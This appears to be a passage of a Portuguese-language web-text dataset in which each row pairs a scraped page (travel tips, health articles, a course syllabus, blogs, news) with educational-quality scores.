fabricação e comercialização de portões em Santo Amaro. Antigamente Santo Amaro era um município independente e só foi incorporada definitivamente a capital em 1947, atualmente compõe uma das 31 subprefeituras da capital. A região de Santo Amaro conta atualmente com.... +Qual a função da Porta de enrolar automática? A Porta de enrolar do tipo automática é usada na maioria das vezes por comércios de rua ou variados estabelecimentos comerciais. A porta deste tipo é usada para a maior comodidade na abertura e no fechamento da mesma, além de fornecer mais segurança para todos aqueles que a utilizam. Existem diversos tipos de portas automáticas, estão entre elas: - Porta de enrolar automática, - Porta automática .... +Função do motor para porta Com a função de abrir ou fechar portas automáticas, os motores para porta de aço são de extrema importância. Com capacidades e tamanhos que variam (de 200 kg até 2000 kg) os motores para porta de aço possui diversos modelos com alto e médio fluxo. Também é possível obter os motores para porta de aço com acionamento manual, que possui uma talha locali...",original,original,original,original,2,0.4 +"GENI > GENI > 1º Ciclo > Área Principal > Percursos > Fundamentos para Engenharia e Gestão Industrial > Opções 1 > Modelos de Apoio à Decisão +Min-SMAD 2021 > Min-SMAD 2021 > Modelos de Apoio à Decisão +MEAer 2017 > MEAer 2017 > 2º Ciclo > Especializações > Aviónica > Opções > Opções 8º Semestre > Modelos de Apoio à Decisão +Min-EG 2022 > Min-EG 2022 > Gestão Industrial e Ambiente > Modelos de Apoio à Decisão +MEBiom 2021 > MEBiom 2021 > 2º Ciclo > Área Principal > Perfis > Perfil de Engenharia Clínica > Opções > Modelos de Apoio à Decisão +MEGI 2021 > MEGI 2021 > 2º Ciclo > Área Principal > Obrigatórias > Modelos de Apoio à Decisão +MFM > MFM > 2º Ciclo > Opções > Opções 1º Ano > Modelos de Apoio à Decisão +MEGIE 2019 > MEGIE 2019 > 2º Ciclo > Tronco Comum > Modelos de Apoio à Decisão +MECD2019 > MECD2019 > 2º Ciclo > Opções > Modelos de Apoio à Decisão +MEGE 2021 > MEGE 2021 > 2º Ciclo > Área Principal > Tronco Comum > Opções do Tronco Comum > Modelos de Apoio à Decisão +MEGI 2006 > MEGI 2006 > 2º Ciclo > Tronco Comum > Modelos de Apoio à Decisão +MEE 2006 > MEE 2006 > 2º Ciclo > Tronco Comum > Opção de Gestão > Modelos de Apoio à Decisão +MEGE > MEGE > 2º Ciclo > Formação Comum > Opções > Modelos de Apoio à Decisão +MERC 2006 > MERC 2006 > 2º Ciclo > Área de Especialização Complementar > Liderança, Organização, Economia e Gestão > Modelos de Apoio à Decisão +MEIC-T 2006 > MEIC-T 2006 > 2º Ciclo > Opções > Modelos de Apoio à Decisão +MPOT2010 > MPOT2010 > 2º Ciclo > Modelos de Apoio à Decisão +MEIC-A 2006 > MEIC-A 2006 > 2º Ciclo > Opções > Modelos de Apoio à Decisão +MEBiom 2006 > MEBiom 2006 > 2º Ciclo > Perfis > Engenharia Clínica > Tronco Comum > Modelos de Apoio à Decisão +Nível +O ensino é predominantemente organizado por grupos de modelos, técnicas e software de apoio à decisão que poderão aplicar-se em diferentes tipos de problemas. Para cada tipo de problema de decisão, o ensino baseia-se na apresentação de métodos, modelos e técnicas para auxiliar a tomada de decisão, seguido da discussão de estudos de caso reais e de aspetos metodológicos chave, e na utilização de ferramentas de apoio à decisão. Para alguns tópicos os alunos também resolvem exercícios de índole prática. A avaliação é efetuada através de dois trabalhos em grupo e de um exame individual. Num trabalho de grupo os alunos estruturam problemas caraterizados por incerteza, constroem modelos e implementamnos em software apropriado; no outro trabalho de grupo os estudantes constroem um modelo multicritério de avaliação para auxiliar um decisor num problema real. +Tipo +Não Estruturante +Regime +Semestral +Carga Horária +1º Semestre +Aula Teórica (T): 3.0 h/semana +Aula de Problemas (TP): 1.5 h/semana +Trabalho Autónomo: 105.0 h/semestre +Créditos ECTS: +Objectivos +Após concluir esta unidade curricular o estudante: • estará familiarizado com diversas estratégias de tomada de decisão em contextos públicos e privados, e com as “armadilhas” existentes na avaliação de alternativas e na afetação de recursos; • estará familiarizado com os conceitos-chave teóricos e metodológicos de tomada de decisão e de apoio à decisão relevantes para a melhor prática da engenharia da decisão; • estará familiarizado com modelos, processos e técnicas para ajudar a estruturar e analisar decisões caracterizadas por múltiplos objetivos, incerteza, complexidade e diferenças de opinião; • conhecerá exemplos reais de aplicações de análise de decisão e conferências de decisão em organizações; • estará familiarizado com outros tópicos relevantes para a engenharia de decisão; • terá desenvolvido competências em análise de decisão e modelação; • será capaz de selecionar e usar software de apoio à decisão específico em diferentes contextos decisionais. +Programa +A problemática da tomada de decisão: Definição de problema de decisão. Importância na engenharia e gestão. Características do contexto de decisão Estratégias de tomada de decisão. Incerteza e complexidade. Valor e risco. O que é a Análise de Decisão (AD)? Objetiv...",original,original,original,original,3,0.6 +"Sra. Maria, sr. José, Estão propondo alterar a LOAS, lei que garantiu um benefício para os idosos acima de 65 anos que não têm meios para prover o próprio sustento e não tem quem possa fazer por eles. Estão tirando seus direitos, vocês tão sabendo? Na redação original, lá em 1993, era só para idosos […] +Rozana Fonseca +20 fev 2019 +Rozana Fonseca +Assistência Social, benefício de prestação continuada, BPC, Direitos Humanos, direitos socioassistenciais, SUAS +Bolsonaro e as “pessoas de bem” +Volto a escrever para o Blog depois de muito tempo. É um retorno entristecido, confesso, caso o resultado de amanhã nas urnas se confirme como têm mostrado as pesquisas. Mas o momento não me permite calar neste espaço que é tão importante para mim enquanto profissional e sei que também é para outras centenas de […] +Rozana Fonseca +27 out 2018 +Proteção Social, Rozana Fonseca +democracia, Direitos Humanos, Eleições 2018 +Precisamos falar sobre a cesta básica +Por Tatiana Roberta Borges Martins[1] A cesta básica de alimentos é uma velha conhecida da política de assistência social, ela existe desde as primeiras formas de prestação de auxílio à população e observo que, pelo menos entre as/os assistentes sociais, existe uma relação espinhosa com esta provisão, talvez pelo reducionismo do senso comum, que classifica a […] +Rozana Fonseca +5 fev 2018 +Benefícios Eventuais, Proteção Social, Tatiana Borges +Benefícios Eventuais, beneficios eventuais, Cesta básica, Direitos Humanos, direitos socioassistenciais, família, proteção social +“Cadê o pessoal dos direitos humanos? ” Está no SUAS! +Por Tatiana Borges* Nestes tempos em que o óbvio precisa ser dito, tenho sentido a necessidade de provocar uma reflexão sobre os direitos humanos e a política de assistência social, sem, é claro, qualquer pretensão de esgotar um tema de tamanha complexidade e que na realidade nem me parece tão óbvio assim. O fato é […] +Rozana Fonseca +26 jun 2017 +Proteção Social, Psicologia no SUAS, Serviço Social no SUAS, Tatiana Borges +Direitos Humanos, proteção social, SUAS +O BPC na Reforma da Previdência: contribuições para o debate +Considerando o período de Conferências de Assistência Social, compartilho aqui o texto do IPEA: O Benefício de Prestação Continuada na Reforma da Previdência: contribuições para o debate, das autoras: Luciana Jaccoud, Ana Cleusa Mesquita e Andrea Barreto de Paiva. É imprescindível que se trave uma defesa desse direito no espaço das conferências e que sirva de […] +Rozana Fonseca +23 jun 2017 +Proteção Social +Assistência Social, BPC, Direito Social, Direitos Humanos, Seguridade Social +Jogos socioeducativos adaptáveis para o SCFV +UPDATE – 23/06/2017: O site da Recimam está fora do ar, assim, os links para baixar o jogos estão indisponíveis. Infelizmente não há o que eu possa fazer ( eu apenas compartilhei o material), mas vou entrar em contato com a autora para ver se ela disponibiliza os arquivos por e-mail e se conseguir, atualizo […] +Rozana Fonseca +30 jun 2015 +Orientador Social no SUAS, Proteção Social, SCFV +cidadania, CRAS, crianças e adolescentes, Direitos Humanos, EDH, Grupos, Jogos socioeducativos, Recimam, SCFV, UFOP, UNA +Erradicação do Trabalho Infantil: aspectos socioculturais como barreiras +Considerando que 12 de Junho é o Dia Mundial e Nacional contra o Trabalho Infantil, eu criei uma LISTA com sugestões de materiais sobre Trabalho Infantil e para apresentá-la, elaborei um texto com algumas ideias e provocações sobre o Trabalho Infantil, porque entre tantos problemas sociais e desafios que enfrentamos no dia a dia do trabalho no […] +Rozana Fonseca +11 jun 2015 +PETI, Proteção Social Especial +12 de Junho, CRAS, CREAS, crianças e adolescentes, desigualdade social, Dia Mundial e Nacional contra o Trabalho Infantil, Direitos Humanos, Educação, FNPETI, PETI, Pobreza, SUAS, Trabalho Infantil, violencia +Manual de Enfrentamento à Violência contra a Pessoa Idosa +No Dia Mundial de Combate a Violência contra o Idoso (15 de Junho), compartilho com vocês um Manual elaborad...",original,original,original,original,2,0.4 +"Carnaval nem sempre é sinônimo de agito e de folia. Para muita gente, é um momento para descansar e recarregar as energias. Com o cancelamento das festividades em diversas cidades devido à pandemia, o feriado prolongado pode ser uma ótima oportunidade para aproveitar alguns dias de tranquilidade. Para isso, nada melhor que viajar para destinos cercados por natureza e voltar reenergizado. Veja dicas de lugares para fugir do Carnaval! +1. Iporanga | Capão Bonito +Assim como muitas cidades turísticas no interior de São Paulo, Iporanga fica em uma região de muito verde em SP, em meio a belas paisagens, com atrativos naturais como rios, cachoeiras e mirantes, além de excelentes opções de ecoturismo. +Uma delas é o Parque Estadual Turístico do Alto Ribeira, mais conhecido como PETAR. O Parque é uma unidade de conservação única do Brasil, com mais de 300 cavernas que integram a maior parte da Mata Atlântica preservada do país. Vale a pena visitar! +Você pode se hospedar no ibis budget Capão Bonito para ficar próximo do Parque das Águas, da Gruta Casa de Pedra, entre outros lugares incríveis e cheios de sossego. +2. Olímpia +Quer descansar sem abrir mão de alguns momentos de diversão? Olímpia, em São Paulo, é a escolha perfeita. +Com muitos parques aquáticos, além de museus e do famoso Parque dos Dinossauros, o destino oferece entretenimento para todas as idades e é muito procurado por quem viaja em família. +No Thermas de Olímpia Resorts By Mercure você pode relaxar e curtir o feriado com toda a comodidade e longe do estresse do dia a dia, seja desfrutando da calmaria na piscina do hotel ou se aventurando nos tobogãs e outros brinquedos dos parques aquáticos. +Cataratas do Iguaçu (Getty Images) +3. Foz do Iguaçu +Muito conhecida pelas Cataratas do Iguaçu, Foz do Iguaçu é uma ótima opção para fugir das comemorações tradicionais de Carnaval. +Entre os atrativos mais famosos estão o Parque das Aves, o Marco das Três Fronteiras e a Usina Hidrelétrica de Itaipu. +Ficar no hotel ibis Foz do Iguaçu vai te deixar próximo de tudo isso, além de possibilitar passeios à Argentina e ao Paraguai, que são países limítrofes. +Descubra mais sobre Foz do Iguaçu e outros atrativos diferentes da cidade, como o Templo Budista Chen Tien, o Vale dos Dinossauros e o Bar de Gelo Dreams Ice. +Veja mais: 10 lugares baratos para viajar no Brasil! +4. Jalapão +Tem destino mais natureba que o Jalapão? Por lá, quase a totalidade dos pontos turísticos é ligada ao verde e, claro, ao relaxamento. E as paisagens são fantásticas, entre dunas, cachoeiras e fervedouros que deixam qualquer turista encantado. +Vale incluir um dia de passeio no Parque Estadual do Jalapão. A distância de Palmas até o Jalapão é de 172 km. Programe este bate volta imperdível! +Se a viagem for para a capital, uma boa dica de hospedagem é o ibis Styles Palmas. +5. Cumbuco +Cumbuco é uma vila de pescadores do Ceará, próxima à capital Fortaleza, que tem como principal atração belíssimas praias de águas tranquilas e faixa de areia extensa. +Os quiosques à beira-mar são bem estruturados e perfeitos para passar o dia. Se quiser mais emoção, vale incluir os passeios de buggy e quadriciclo no roteiro. +Embora seja possível fazer um bate e volta a partir da capital, a melhor escolha é ficar em um hotel perto de Cumbuco, como o ibis Caucaia Porto do Pecém. +Assim, você conseguirá aproveitar melhor e com mais tranquilidade tudo que o destino tem a oferecer. +Quer aproveitar também as atrações da capital cearense? Veja o que fazer em Fortaleza: a cidade do sol! +6. Guaxupé +Minas Gerais é um estado cheio de cidades pequenas, charmosas e muito agradáveis para quem quer passar alguns dias longe da correria diária. +Uma delas é Guaxupé, que faz parte do Circuito Turístico Montanhas Cafeeiras de Minas, unindo atrativos na natureza com as tradições do cultivo do café e fortalecendo a identidade regional. +O hotel ibis Guaxupé tem uma boa localização e você poderá visitar lugares como a Casa da Memória e o Parque Municipal da Mogiana, fazer...",original,original,original,original,4,0.8 +"Dando sequência ao post sobre microfones que publiquei a umas semanas atrás, hoje gostaria de comentar um pouco sobre os diagramas polares. +Diagrama polar nada mais é que uma representação gráfica de como o som é captado pelo microfone em função do ângulo de incidência do som sobre a cápsula. Em outras palavras, um som é captado em intensidades diferentes dependendo da localização da fonte sonora em relação a cápsula e o diagrama polar é o ""mapa"" da sensibilidade do microfone. +Os microfones seguem determinados padrões de sensibilidade e são esses padrões que dizem qual é a aplicação ideal de cada microfone. +Microfone de padrão polar cardióide +Microfone de padrão polar hipercardióide +Embora as figuras acima facilitem bastante a compreensão do que é um diagrama polar, elas também induzem a uma falsa impressão de que a resposta de frequências do microfone é linear em todas as direções o que é incorreto. Veja a figura a seguir: +Diagrama polar +Observando a figura podemos concluir que o microfone em questão tem boa resposta em seu axis para as frequências em torno de 16 kHz mas conforme o rotacionamos essa resposta cai drasticamente. +Gostaria de destacar os principais padrões polares e suas aplicações mais comuns. Veja a figura: +Principais padrões polares +Omnidirecional: Microfones de padrão omnidirecional captam o som igualmente em 360°. Eles possuem naturalmente um timbre bem aberto e são excelentes em captações onde a acústica do ambiente é necessária. Alguns exemplos de aplicações para esse tipo de microfone são a captação de grupos vocais, pequenas formações de cordas ou outros instrumentos em salas de boa acústica. +Cardioide: É o padrão polar mais comum. Ele oferece uma boa captação no axis do microfone e nas laterais mas uma rejeição quase que completa na sua parte posterior. Suas aplicações ideais são as mais variadas possíveis. Na verdade, qualquer coisa que se queira captar a curta distância sem a necessidade de rejeição da ambiência pode ser captada com um microfone cardioide. +Super/Hiper cardioide: Nestes padrões o microfone possui excelente captação em seu axis, alguma captação em sua região posterior e uma leve rejeição em suas laterais. É o padrão polar mais comum dentre os microfones capacitivos para captação de voz e são extremamente sensíveis. Suas aplicações ideais vão desde a captação de pequenos instrumentos de percussão até os instrumentos de grande pressão sonora bastando apenas o ajuste de ganho e posicionamento. +Bi direcional ou Figura 8: Microfones neste padrão tem ótima captação tanto no axis quanto na parte posterior do microfone e com uma boa rejeição nas laterais. Ele é muito legal para captar duas fontes sonoras distintas, uma de frente para a outra. Também é legal para captação de ambiências mas a sua utilização mais bacana em minha opinião é na captação MS que utiliza um microfone bidirecional conjugado com um microfone cardioide. +Shotgun: Microfones desse tipo são altamente direcionais e necessitam estar apontados precisamente para a fonte sonora para uma captação adequada. Também possuem uma certa rejeição nas laterais o que o torna ideal para aplicações em broadcast. Na figura acima a sua escala foi exagerada para facilitar a compreensão mas nos manuais você encontrará um gráfico de padrão polar mais parecido com o de um microfone hiper-cardioide. +Na próxima parte desse post irei comentar sobre os gráficos de resposta de frequência. Obrigado pela visita e tenham uma boa semana. +Postado por Unknown às 09:26 +Enviar por e-mailPostar no blog!Compartilhar no TwitterCompartilhar no FacebookCompartilhar com o Pinterest +Marcadores: Áudio +Um comentário: +Augusto Cesar 8 de janeiro de 2012 07:19 +Gostei muito da explicação, nunca havia compreendido bem estes gráficos por falta de uma simples explicação, eles são até bem simples de se entender, o lance é que na maioria dos gráficos você tem apenas 2 parâmetros cruzados, já nos gráficos polares temos 3 parâmetros a considerar.",original,original,original,original,4,0.8 +"Seguridade Social - Dissertações - 50687897 +POLITICA DE SEGURIDADE SOCIAL +A Constituição da República define seguridade social como “um conjunto integrado de ações de iniciativa dos Poderes Públicos e da sociedade, destinadas a assegurar osdireitos relativos à saúde, à previdência e à assistência social” (art. 194). +Das contribuições destinadas ao financiamento da seguridade social no âmbito jurídico apresentamos os conceitos decontribuições e tributos. Que consiste em toda prestação pecuniária compulsória, em moeda cujo o valor nela possa exprimir, não constitua sanção ilícito. +Os tributos são receitas derivadasque o Estado recolhe do patrimônio dos indivíduos, usando do seu poder fiscal (poder tributar), mas controlado por normas de direito público que formam o Direito Tributário. +No Brasil o Tributo éinserido no contexto social em seus diversos componentes, como impostos, taxas e contribuição. É necessário a instituições de tributos para a consecução de melhorias na vida social, porém, desde que bemempregado os fundos arrecadados pelas esferas de Governos Municipais, Estaduais e a União. +O tributo é caracterizado como uma obrigação de contribuir imposta a pessoas físicase jurídicas de recolher valores ao Estado ou entidades, criada por lei e de natureza não sancionatória, criada compulsoriamente, ou seja, não depende de um acordo de vontades, na qual o contribuintedeve entregar à Fazenda Pública uma soma de dinheiro ou equivalente, se a lei assim o permitir, cuja cobrança se opera por meio de ato administrativo vinculado. +A tributação temfinalidade: Fiscal quando o principal objetivo é a arrecadação de recursos financeiros para o Estado; Paráfiscal que visa custear atividades de interesse público desenvolvidas por entidadesparaestatais, como as que cuidam da previdência social (INSS) e da fiscalização das profissões regulamentadas; Extrafiscal é utilizada com finalidade adicional, que é a de incentivar ou desestimular... +Capitulo1 Acetatos ALGA C T2 CarlosSaiago O Velho e o Mar Ernest Hemingway Nocoes De Embriologia Dados Demográficos Figueira de Castelo Rodrigo John Rawls E Um Estado Justo Trabalho Direito +{""essaysImgCdnUrl"":""\/\/images-study.netdna-ssl.com\/pi\/"",""useDefaultThumbs"":true,""defaultThumbImgs"":[""\/\/tbf-study.netdna-ssl.com\/stm\/images\/placeholders\/default_paper_2.png"",""\/\/tbf-study.netdna-ssl.com\/stm\/images\/placeholders\/default_paper_3.png"",""\/\/tbf-study.netdna-ssl.com\/stm\/images\/placeholders\/default_paper_4.png"",""\/\/tbf-study.netdna-ssl.com\/stm\/images\/placeholders\/default_paper_5.png""],""thumb_default_size"":""160x220"",""thumb_ac_size"":""80x110"",""isPayOrJoin"":false,""essayUpload"":false,""site_id"":3,""autoComplete"":false,""isPremiumCountry"":false,""userCountryCode"":""US"",""logPixelPath"":""\/\/www.smhpix.com\/pixel.gif"",""tracking_url"":""\/\/www.smhpix.com\/pixel.gif"",""cookies"":{""unlimitedBanner"":""off""},""essay"":{""essayId"":72814438,""categoryName"":null,""categoryParentId"":null,""currentPage"":1,""format"":""text"",""pageMeta"":{""text"":{""startPage"":1,""endPage"":2,""pageRange"":""1-2"",""totalPages"":2}},""access"":""premium"",""title"":""Seguridade Social"",""additionalIds"":[],""additional"":[],""loadedPages"":{""html"":[],""text"":[1,2]}},""user"":null,""canonicalUrl"":""http:\/\/www.trabalhosfeitos.com\/ensaios\/Seguridade-Social\/72814438.html"",""pagesPerLoad"":50,""userType"":""member_guest"",""ct"":null,""ndocs"":""2.400.000"",""pdocs"":"""",""cc"":""10_PERCENT_1MO_AND_6MO"",""signUpUrl"":""https:\/\/www.trabalhosfeitos.com\/assine\/"",""joinUrl"":""https:\/\/www.trabalhosfeitos.com\/join.php"",""payPlanUrl"":""\/join.php?join_type=pay\u0026amp;plan=3402"",""upgradeUrl"":""\/join.php?join_type=upgrade"",""freeTrialUrl"":null,""showModal"":""get-access"",""showModalUrl"":""https:\/\/www.trabalhosfeitos.com\/assine\/?redirectUrl=https%3A%2F%2Fwww.trabalhosfeitos.com%2Fjoin.php"",""joinFreeUrl"":""\/dashboard\/contribute?newuser=1"",""siteId"":3,""facebook"":{""clientId"":""104889802928742"",""version"":""v2.9"",""language"":""pt_BR""}}",original,original,original,original,2,0.4 +"As produções indígenas mais comuns à maioria das etnias brasileiras são: cerâmica, pintura corporal, máscaras, cestaria e arte plumária. Objetos decorativos e utilitários, adornos, acessórios, armas e instrumentos musicais também fazem parte da arte produzida pelos povos indígenas. +Quais são os objetos do Índio? +5 Objetos de uso cotidiano que vieram dos índios brasileiros +1 Cuia. Do tupi, kúia. +2 Tipiti. Tipiti um espremedor de palha trançada utilizado por diversas tribos da região amazônica para prensar a raiz moída de diversos vegetais, mas mais frequentemente da mandioca. +3 Rede. +4 Bolsa Canguru. +5 Cabaças. +Qual a utilidade dos objetos dos povos indígenas que vivem no Brasil *? +Os objetos indígenas se encaixam perfeitamente em decorações de clima rústico e dão um toque bem nacional a sua casa. Além disso, é comum o artesanato indígena ir muito além dos itens para o lar, como podemos observar na alta produção de bijuterias, instrumentos musicais, brinquedos infantis e souvenires. +Como era a arte nas sociedades indígenas? +Arte indígena brasileira é a arte produzida pelos povos nativos do Brasil, antes e depois da colonização portuguesa, que iniciou-se no século XVI. Considerando a grande diversidade de tribos indígenas no Brasil, pode-se dizer que, em conjunto, elas se destacam na arte da cerâmica, do trançado e de enfeites no corpo. +O que são artefatos indígenas? +Objetos rituais (tais quais máscaras, ornamentos corporais e instrumentos musicais) e do cotidiano (tais quais cerâmicas, cestos e bancos esculpidos em madeira) ilustrou as diferentes tradições estéticas dos povos indíegnas representados. +O que que os índios usa? +Um cocar é o adorno usado por muitas tribos indígenas americanas na região da cabeça. Sua função variava de tribo pra tribo, podendo servir de adorno a símbolo de status ou classe na tribo. +O que os povos indígenas fazem com a produção e construção dos objetos? +Entre os povos indígenas, a produção de objetos destinados ao uso, intercâmbio e comércio é uma atividade ligada à condição de gênero (Velthem, 2007. Trançados indígenas norte amazônicos: fazer, adornar, usar. +O que os brasileiros herdaram dos povos indígenas? +A culinária brasileira herdou vários hábitos e costumes da cultura indígena, como a utilização da mandioca e seus derivados (farinha de mandioca, beiju, polvilho), o costume de se alimentar com peixes, carne socada no pilão de madeira (conhecida como paçoca) e pratos derivados da caça (como picadinho de jacaré e pato … +O que os índios utilizam? +Os índios utilizam adornos corporais e pinturas com materiais extraídos da natureza, como a tintura de urucum, os colares de peças naturais, e os botoques e adornos feitos com base na arte plumária (que utiliza plumas e penas de aves).",original,original,original,original,4,0.8 +"Pesquisa da USP descobre como vírus deixa Leishmaniose mais agressiva - Notícias - BOL +01/12/2019 17h39 +""Quando a leishmania infecta as pessoas fica uma queda de braço. Ela querendo sobreviver e nosso sistema imunológico tentando eliminar o parasita. Mas, quando a leishmania tem o vírus, ele' desliga' alguns dos mecanismos do nosso sistema imunológico que combatem o parasita"", destaca o autor da pesquisa, Renan Carvalho, cientista do Departamento de Biologia Celular e Molecular e Bioagentes Patoge?nicos da FMRP-USP. +""Como essa proteína que mata a leishmania está sendo silenciada pelo vírus, a leishmania consegue sobreviver melhor, proliferar melhor e causar aquela forma da doença mais grave que é a leishmaniose mucocutânea. O parasita migra para o rosto das pessoas, tanto para a boca quanto para o nariz, e desfigura o rosto do paciente"", destaca Carvalho. +De acordo com o pesquisador, o estudo abre caminho para novas formas de combater a leishmaniose e tratar os pacientes. ""A gente propõe que, a partir de agora, o paciente que chegue com suspeita de leshmaniose, ele seja diagnosticado não apenas para ver se tem a leishmania, parasita, mas que seja também feita uma análise molecular para ver se a leishmania possui o vírus"", diz Carvalho.",original,original,original,original,3,0.6 +"Educacional-ProfªTereza: Maio 2011 +Postado por Profª Tereza às 15:55 Nenhum comentário: Links para esta postagem +Curso PROINFO - TIC +Aprender nunca é demais. Curso realizado SME de São José dos Campos coordenado pela formadora Beatriz Americano. +Momento de aprender a utilizar de maneira eficaz esse recurso tecnológico, através da prática efetiva, ou seja aprender fazer fazendo. Além de ser um momento de troca de experiências entre as colegas. +O curso está ótimo, estou aprendendo muito! +Postado por Profª Tereza às 18:48 3 comentários: Links para esta postagem +Que tal trabalhar a produção de textos? +Uma boa oportunidade é pedir para os alunos descreverem sobre a mãe deles. +Postado por Profª Tereza às 16:32 Nenhum comentário: Links para esta postagem +Cerca de 500 alunos dos anos iniciais da EMEF Prof. Álvaro Gonçalves realizaram o carnaval da Dengue. O objetivo era trabalhar de forma lúdica a prevenção da doença. Professores e alunos fizeram paródias das marchinhas de carnaval com o tema. Também foram confeccionadas máscaras carnavalescas que lembravam o mosquito da dengue. +http://www.sjc.sp.gov.br/sms/noticias.asp?id=25283 +Postado por Profª Tereza às 16:22 2 comentários: Links para esta postagem +Postado por Profª Tereza às 15:50 Nenhum comentário: Links para esta postagem +Sou professora da rede municipal de São José dos Campos. Atuo no ensino fundamental. Sou casada e tenho dois filhos lindos. Sou uma pessoa de muita fé, acredito muito em Deus, nas pessoas e também na educação. Este espaço é para divulgação dos trabalhos realizados com as turmas e também de trocas de experiências.Sejam bem vindos!!!!",original,original,original,original,2,0.4 +"os cânceres das VADS para via aerodigestivas superiores são tumores malignos que podem se desenvolver entre a cavidade bucal e a hipofaringe, parte inferior da faringe. Classicamente, o câncer das VADS afeta os homens a partir dos 50 anos, geralmente etil-tabagistas. Os fatores principais aumentando o risco de surgimento desses cânceres são de fato uma intoxicação crônica à fumaça do tabaco ou uma intoxicação crônica às bebidas alcoólicas. A associação dessas duas intoxicações multiplica enormemente os riscos: falamos que seus efeitos são sinérgicos. Entre os cânceres das VADS, encontramos principalmente os cânceres da cavidade bucal podendo afetar a prancha bucal, as gengivas, os lábios ou o palato, os cânceres de amigdalas, das cordas vocais ou do sinus piriforma. +os tumores das VADS são muito difíceis de diagnosticar em estágios avançados localizados, pois poucos sintomas são visíveis no início. Na maioria dos casos, a descoberta de um gânglio aumentado em volume, ou adenopatia, faz suspeitar o diagnóstico no indivíduo etil-tabagista. Outros sinais de evolução crônica são igualmente evocadores: +Transtornos de deglutição; +Transtornos de fala ou modificação da voz; +Problema respiratório alto situado; +Dor na boca ou faringe; +Na maior parte do tempo, esses sinais estão ligados a outras patologias não graves, mas é sobretudo o contexto do surgimento em um indivíduo de risco que colocará a suspeita. +A ausência de sintomas no início da doença provoca um diagnóstico geralmente tardio. Diante dos sinais clínicos com um contexto evocador, a cavidade bucal será explorada para procurar uma lesão ou uma zona dolorida. Os gânglios são igualmente inspecionados. Uma panendoscopia das VADS, ou seja, um exame das vias aerodigestivas superiores com a ajuda de uma câmera inserida dentro dessas vias com anestesia, permite um estudo preciso das cavidades e a realização de amostras, biopsias, em casos de zonas suspeitadas. Se a análise releva um câncer, um exame de extensão, ou seja, um conjunto de exames para procurar metástases, evasões de outros órgãos por células cancerígenas, será realizado. +o tratamento desses cânceres dependerão do contexto e dos resultados do exame de extensão. Se o câncer das VADS não é propagado aos gânglios linfáticos, o tratamento mais comum será a cirurgia para proceder à retirada do tumor. A radiografia é igualmente frequentemente utilizada, na condição que eventuais problemas dentários tenham sido curados antes. Por fim, a quimioterapia é igualmente possível, geralmente para reduzir o tamanho do tumor antes da sua retirada. Uma vez que o câncer tenha sido tratado, atos de cirurgia reparatória são geralmente necessários. É necessário igualmente, em alguns casos, retirar os gânglios linfáticos. +a parada do tabaco e do álcool é a melhor maneira de prevenir o câncer das VADS. Um acompanhamento dentário e bucal regular é igualmente previsto, de maneira a descobrir o mais cedo possível uma possível lesão inquietante. +Imunoterapia é aposta para tratar câncer pulmonar +Este documento, intitulado 'Câncer do trato aerodigestivo superior (VADS)', está disponível sob a licença Creative Commons. Você pode copiar e/ou modificar o conteúdo desta página com base nas condições estipuladas pela licença. Não se esqueça de creditar o CCM Saúde (saude.ccm.net) ao utilizar este artigo.",original,original,original,original,4,0.8 +Este site é protegido por reCAPTCHA e aplica-se a Política de Privacidade si Termos de Utilização Google.,original,original,original,original,0,0.0 +"Você já parou para pensar por que alguns dias são ensolarados e outros chuvosos? Ou por que no inverno precisamos de casacos e no verão usamos roupas mais leves? Tudo isso está relacionado a dois conceitos muito importantes em Ciências: clima e tempo. Embora muitas vezes usemos essas palavras como se fossem a mesma coisa, elas representam fenômenos diferentes e que afetam diretamente o nosso dia a dia. + +O tempo se refere às condições atmosféricas em um determinado momento e lugar. É como uma foto do céu naquele instante. Pode estar ensolarado, chuvoso, ventando, ou até mesmo nevando! As previsões do tempo que vemos na televisão ou na internet nos ajudam a planejar o que vamos vestir, se precisamos levar um guarda-chuva ou se é um bom dia para ir à praia. O tempo é algo que muda constantemente, podendo variar em questão de horas. + +Já o clima é como um resumo do tempo ao longo de muitos anos. Ele representa o padrão das condições atmosféricas em uma região específica. Para determinar o clima de um lugar, os cientistas analisam dados de temperatura, chuva, umidade e vento durante um longo período, geralmente de 30 anos ou mais. O clima nos ajuda a entender o que esperar em cada estação do ano e como as diferentes regiões do nosso planeta se comportam. Por exemplo, o Brasil tem um clima tropical, com temperaturas geralmente altas e muita chuva, enquanto outras regiões do mundo têm climas mais frios ou secos. + +Mas por que o clima e o tempo são tão importantes? Eles influenciam diretamente a nossa vida! A agricultura, por exemplo, depende do clima para o plantio e a colheita de alimentos. As roupas que usamos, os tipos de casas que construímos e até mesmo os nossos hábitos de lazer são influenciados pelo clima da região onde vivemos. Além disso, entender como o clima funciona nos ajuda a prever e a nos preparar para eventos climáticos extremos, como tempestades, furacões e secas. + +A ação humana, através da emissão de gases poluentes, tem alterado o clima do nosso planeta, causando o que chamamos de aquecimento global. Esse fenômeno pode trazer consequências graves, como o aumento do nível do mar, o derretimento das geleiras e a ocorrência de eventos climáticos extremos com maior frequência. Por isso, é fundamental que todos nós façamos a nossa parte para reduzir a poluição e proteger o meio ambiente. + +Agora, pense um pouco: como o clima da sua região influencia o seu dia a dia? Que tipo de roupas você usa em cada estação do ano? Que atividades você gosta de fazer quando está sol e quando está chovendo? Refletir sobre essas questões nos ajuda a entender melhor a importância do clima e do tempo e como eles estão presentes em nossas vidas.",Ciências,Fenômenos naturais,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional. Introduz de forma clara e concisa os conceitos de clima e tempo, diferenciando-os e demonstrando sua relevância para o cotidiano e para a compreensão de fenômenos naturais. Aborda a influência do clima nas atividades humanas e alerta para as mudanças climáticas e suas consequências, incentivando a reflexão sobre a importância da preservação ambiental. A linguagem é acessível e adequada ao público do ensino fundamental. Há exemplos práticos e questões que estimulam o pensamento crítico. O texto é coerente e focado, adequado para um aprendizado estruturado.",5,1.0 +"Parlamentar no Tocantins propõe lei que cassa ICMS de empresas com trabalho escravo +Em mais um estado brasileiro, o Tocantins, empresas que se beneficiam de trabalho escravo podem perder registro de Imposto sobre Circulação de Mercadorias e Serviços (ICMS). Na prática, sem o cadastro, elas ficam impedidas de manter relações comerciais. A medida está prevista no projeto de Lei apresentado pela deputada Amália Santana (PT) à Assembleia Legislativa do Estado, na quarta-feira (15). +Carvoeiro no Tocantins trabalha em forno sem nenhum equipamento de proteção. Foto: MTE +A lei proposta ainda prevê que pessoas físicas ou jurídicas flagradas nessa condição fiquem impedidas de exercer atividade no mesmo setor econômico por período de dez anos. Segundo a parlamentar, o projeto se baseia na lei regulamentada recentemente pelo governador Geraldo 